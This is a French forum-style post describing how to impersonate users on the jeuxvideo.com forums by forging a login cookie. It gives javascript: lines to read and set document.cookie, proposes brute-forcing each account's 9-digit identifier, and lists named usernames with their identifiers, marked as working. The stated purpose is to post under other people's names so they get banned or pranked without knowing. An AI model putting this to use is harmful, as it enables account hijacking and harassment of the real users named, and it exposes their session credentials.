La faille :
Pour message avec un pseudo, rien de plus simple. Il te faut juste le bon cookie. Même pas besoin du mot de passe.
javascript:alert(document.cookie)
ceci nous donnera le cookie actuellement utilisé.
Format :
logjeuxvideocom=login:pseudo|nombre unique de 9 chiffres|
info supplémentaire : path:/ (racine du site, soit www.jeuxvideo.com ou www.jeuxvideo.com/page.htm
Un pseudo a un nombre à 9 chiffres unique, et ce pour toute sa durée de vie.
Il te suffit d´avoir un cookie avec pseudo + numéro unique correspondant pour messager avec. C´est aussi simple que ça.
Par contre, tu ne pourras pas connaître le mot de passe de ce pseudo, car il n´est plus visible ou récupérable en étant connecté avec le pseudo. Mais ça permet de faire bannir à leur insu les enflures (soit pas mal de monde), ou de leur jouer quelques tours, vu qu´ils ne peuvent presque rien faire (le seul moyen est de changer l´adresse email associée et de ne pas la valider).
Méthode : tu trouves le moyen de concevoir un simple programme qui fera un test de message en modifiant à chaque fois le numéro unique. J´explique :
javascript:alert(document.cookie="logjeuxvideocom=
login:testtest|548761772|")
Les n° :
Weaponmaster 194661269
MasTerShadow 815775125
Metallixnake 706062670
CrisTolo3 759576418
KingRabbit_ 241535899
alexx-038 922541091
luke38 249066275
[SamusQueen] 137061894
[SmaSh]103 628108322
=> Marche tous
Pas vérifier :
CloudStrife 694034256
CrazyFrogHunter 578543695
Weaponmaster 194661269
MasTerShadow 815775125
Finchmasters 142973265
_XboxMan_ 768548741
CrisTolo3 759576418
KingRabbit_ 241535899
alexx-038 922541091
Finchmasters : 142973265
Oldsmobile : 535363627
https://www.jeuxvideo.com/forums/1-13-8474872-1-0-1-0-0.htm